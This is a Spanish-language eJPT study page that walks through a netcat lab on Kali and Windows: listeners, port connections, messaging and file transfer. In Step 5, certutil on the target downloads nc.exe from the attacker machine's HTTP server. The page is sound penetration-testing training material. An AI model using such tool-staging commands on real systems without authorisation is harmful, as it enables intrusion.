> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/explotacion/shells/fundamentos-de-netcat.md).

# Fundamentos de netcat

### 🌐 ¿Qué es Netcat?

**Netcat** es una herramienta de red extremadamente versátil que permite **leer y escribir datos a través de conexiones TCP o UDP**.\
🖥️ Disponible para sistemas operativos **Linux, Unix y Windows**, lo que la hace ideal para pruebas cruzadas entre plataformas.

***

### 🔄 Arquitectura Cliente-Servidor

Netcat opera en dos modos principales:

* 🟢 **Modo Cliente**\
  Conéctate a cualquier puerto **TCP/UDP** o a un listener de Netcat.
* 🔴 **Modo Servidor (Listener)**\
  Escucha conexiones entrantes en un puerto específico.

  ```bash
  nc -nlvp 4444  # Escucha en el puerto 4444
  ```

***

### 🧑‍💻 ¿Para qué lo usamos en pentesting?

Netcat es súper útil para varias tareas clave:

| Funcionalidad              | Descripción                                  |
| -------------------------- | -------------------------------------------- |
| 🪪 **Banner Grabbing**     | Ver información de servicios abiertos.       |
| 📡 **Port Scanning**       | Escaneo básico de puertos.                   |
| 📁 **Transferring Files**  | Transferir archivos entre máquinas.          |
| 🐚 **Bind/Reverse Shells** | Crear shells remotos para acceso al sistema. |

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de GUI de Kali (máquina atacante) y a la instancia de GUI de Windows (máquina de destino).

Se puede acceder a estos sistemas a través del selector de pestañas en la parte superior del laboratorio, como se muestra en la siguiente captura de pantalla.

<figure><img src="/files/A2NKzbPQqO3wmfPlOW7z" alt=""><figcaption></figcaption></figure>

Este laboratorio requiere dos sistemas para poder comprender cómo se comunica Netcat ya sea a través de un oyente o cuando se conecta a un puerto.

**Paso 2:** Verifique si la máquina de destino es accesible desde Kali:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/kB6CtABThMXuMASuT6dw" alt=""><figcaption></figcaption></figure>

El objetivo es accesible. Tenga en cuenta que la dirección IP del equipo Windows de destino es 10.0.27.35. Este valor puede variar. Por lo tanto, asegúrese de sustituir la IP que se muestra en los comandos a continuación por la de su laboratorio.

**Paso 3:** Comandos Netcat.

Netcat viene preinstalado en Kali Linux; sin embargo, no está instalado en Windows. Podemos empezar a usar Netcat ejecutando el siguiente comando:

**Dominio:**

```
nc -help
```

Como se muestra en la siguiente captura de pantalla, este comando mostrará el menú de ayuda de Netcat, que contiene una lista de opciones útiles de Netcat que puede usar según sus requisitos.

<figure><img src="/files/l6Vsog9bRRAJ6PacPlGy" alt=""><figcaption></figcaption></figure>

**Paso 4:** Conexión a puertos abiertos con Netcat.

Netcat le brinda la posibilidad de conectarse a puertos abiertos en un sistema de destino; en un laboratorio anterior exploramos cómo se puede usar esto para capturar banners.

Puede conectarse a un puerto abierto en un sistema de destino con Netcat ejecutando el siguiente comando:

**Dominio:**

```
nc 10.0.27.35 80
```

En este caso, nos conectamos al puerto 80 del sistema de destino. Como se muestra en la siguiente captura de pantalla, dado que el puerto 80 ejecuta un servidor web, no recibimos ningún banner.

<figure><img src="/files/mDemMLdle7mjtiO5779J" alt=""><figcaption></figcaption></figure>

También podemos habilitar la salida detallada y deshabilitar la resolución DNS al conectarnos a un puerto con Netcat. Esto es muy útil, ya que Netcat mostrará información de diagnóstico sobre el éxito de la conexión. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nc -nv 10.0.27.35 80
```

<figure><img src="/files/ItxZvH7hFxBCH1J3APLZ" alt=""><figcaption></figcaption></figure>

Como se muestra en la captura de pantalla anterior, no se realiza ninguna resolución de DNS, por lo que el nombre de host permanece desconocido.

**«80 (http) abierto»:** Indica que el puerto 80 de la IP de destino está abierto. El texto (http) sugiere que este puerto se usa normalmente para servicios HTTP.

También podemos intentar conectarnos a un puerto cerrado para ver la salida que genera Netcat. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nc -nv 10.0.27.35 21
```

Como se muestra en la siguiente captura de pantalla, Netcat nos indica que la conexión ha sido rechazada. Esto no significa necesariamente que el puerto esté cerrado, sino que también podría indicar que el acceso al puerto está bloqueado o filtrado por un firewall.

<figure><img src="/files/XEDjwA8hUHflYU1Z168J" alt=""><figcaption></figcaption></figure>

Además de conectarse a puertos TCP, Netcat también puede usarse para conectarse a puertos UDP. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nc -nvu 10.0.27.35 161
```

Como se muestra en el siguiente comando, si intentamos conectarnos al puerto UDP 161, Netcat nos dice que el puerto está abierto.

<figure><img src="/files/I6B96sdI9qbQiFEIUYsO" alt=""><figcaption></figcaption></figure>

**Paso 5:** Transferir el ejecutable de Netcat al sistema Windows.

Para analizar cómo funciona Netcat tanto en modo servidor como en modo cliente, necesitaremos transferir el ejecutable **nc.exe** al sistema de destino que ejecuta Windows.

Kali Linux viene preempaquetado con el ejecutable **nc.exe** , podemos alojar el ejecutable configurando un servidor HTTP con Python.

El primer paso consiste en acceder al directorio **/usr/share/windows-binaries** . Para ello, ejecute el siguiente comando:

**Dominio:**

```
cd /usr/share/windows-binaries
```

Luego podemos configurar un servidor HTTP con Python dentro de este directorio ejecutando el siguiente comando:

**Dominio:**

```
python -m SimpleHTTPServer 80
```

<figure><img src="/files/Zs0odTVueI8YUE6hTZ9H" alt=""><figcaption></figcaption></figure>

Ahora necesitará identificar la dirección IP de su sistema Kali Linux, esto se puede hacer ejecutando el siguiente comando en el sistema Kali:

**Dominio:**

```
ifconfig
```

Como se muestra en la siguiente captura de pantalla, la dirección IP de Kali Linux en este caso es 10.10.31.2. En su caso, será diferente.

<figure><img src="/files/WkBhwPYLL2AyVWz2yXrG" alt=""><figcaption></figcaption></figure>

Ahora deberá navegar hasta el sistema de destino que ejecuta Windows haciendo clic en la pestaña Máquina de destino en la parte superior del laboratorio, como se muestra en la siguiente captura de pantalla.

<figure><img src="/files/9zlvqmU6lFegliAudGNH" alt=""><figcaption></figcaption></figure>

Luego deberá abrir un símbolo del sistema, navegar al directorio del Escritorio y ejecutar el siguiente comando para descargar el ejecutable **nc.exe** del servidor web alojado en el sistema Kali Linux.

**Dominio:**

```
certutil -urlcache -f http://10.10.31.2/nc.exe nc.exe
```

Como se muestra en la siguiente captura de pantalla, esto descargará el ejecutable **nc.exe** .

<figure><img src="/files/DnRTJRgI9ehkdeFxyRa6" alt=""><figcaption></figcaption></figure>

**Paso 6:** Configurar un escucha Netcat.

Ahora que tenemos Netcat configurado en ambos sistemas, podemos configurar un escucha de Netcat en el sistema Kali Linux ejecutando el siguiente comando:

**Dominio:**

```
nc -nvlp 1234
```

Como se muestra en la siguiente captura de pantalla, esto configurará un oyente en el sistema Kali Linux en el puerto TCP 1234.

<figure><img src="/files/UNWDv4vdhkXlK1jvvW6Y" alt=""><figcaption></figcaption></figure>

Ahora podemos conectarnos al escucha Netcat desde el sistema de destino que ejecuta Windows desde la línea de comandos ejecutando el siguiente comando:

**Dominio:**

```
nc -nv 10.10.31.2 1234
```

Como se muestra en la siguiente captura de pantalla, si la conexión es exitosa, Netcat debería informarle que el puerto está abierto.

<figure><img src="/files/RWbRhOzVpM7b89JO0eNh" alt=""><figcaption></figcaption></figure>

Si echamos un vistazo al oyente Netcat en el sistema Kali Linux, Netcat debería indicar que recibió una conexión del sistema Windows.

<figure><img src="/files/syh5985jme0LdD77pkjO" alt=""><figcaption></figcaption></figure>

**Paso 7:** Envío de mensajes con Netcat.

Ahora que hemos establecido una conexión entre el oyente Netcat y el cliente Netcat, podemos transferir mensajes entre ambos como una simple aplicación de chat.

Como se muestra en la siguiente captura de pantalla, si escribimos el mensaje "hola" en el símbolo del sistema en el sistema Windows, se transferirá al oyente en el sistema Kali Linux.

<figure><img src="/files/6o5jgWL9eAaMUiuxUnhi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gUTSPRncYBzjxokQfQCs" alt=""><figcaption></figcaption></figure>

El receptor Netcat también se puede configurar en el sistema de destino con Windows ejecutando el mismo comando que ejecutamos en el sistema Kali Linux. En cualquier caso, la conexión funcionará exactamente igual.

**Paso 8:** Transferencia de archivos con Netcat.

Netcat también se puede utilizar para transferir archivos entre un oyente y un cliente.

Por ejemplo, podemos transferir un archivo del sistema Kali Linux al sistema Windows.

Para comenzar, podemos crear un archivo llamado **test.txt** en el sistema Kali Linux con algunos datos de muestra ejecutando el siguiente comando:

**Dominio:**

```
echo "Hello, this was sent over with Netcat" >> test.txt
```

Ahora necesitaremos configurar un receptor Netcat en el sistema receptor, que en este caso es Windows. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nc.exe -nvlp 1234 > test.txt
```

En el sistema Kali Linux, necesitaremos conectarnos al receptor y redirigir el contenido del archivo **test.txt** a Netcat. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nc -nv 10.0.27.35 1234 < test.txt
```

Como se muestra en las siguientes capturas de pantalla, si tiene éxito, el archivo debería transferirse correctamente.

<figure><img src="/files/9hRtttuZ8utGlTjlRISP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2P4u8zjHkqIuvRsElqdm" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, aprendimos los fundamentos de Netcat y cómo usarlo para configurar un oyente, transferir mensajes y transferir archivos entre dos sistemas.
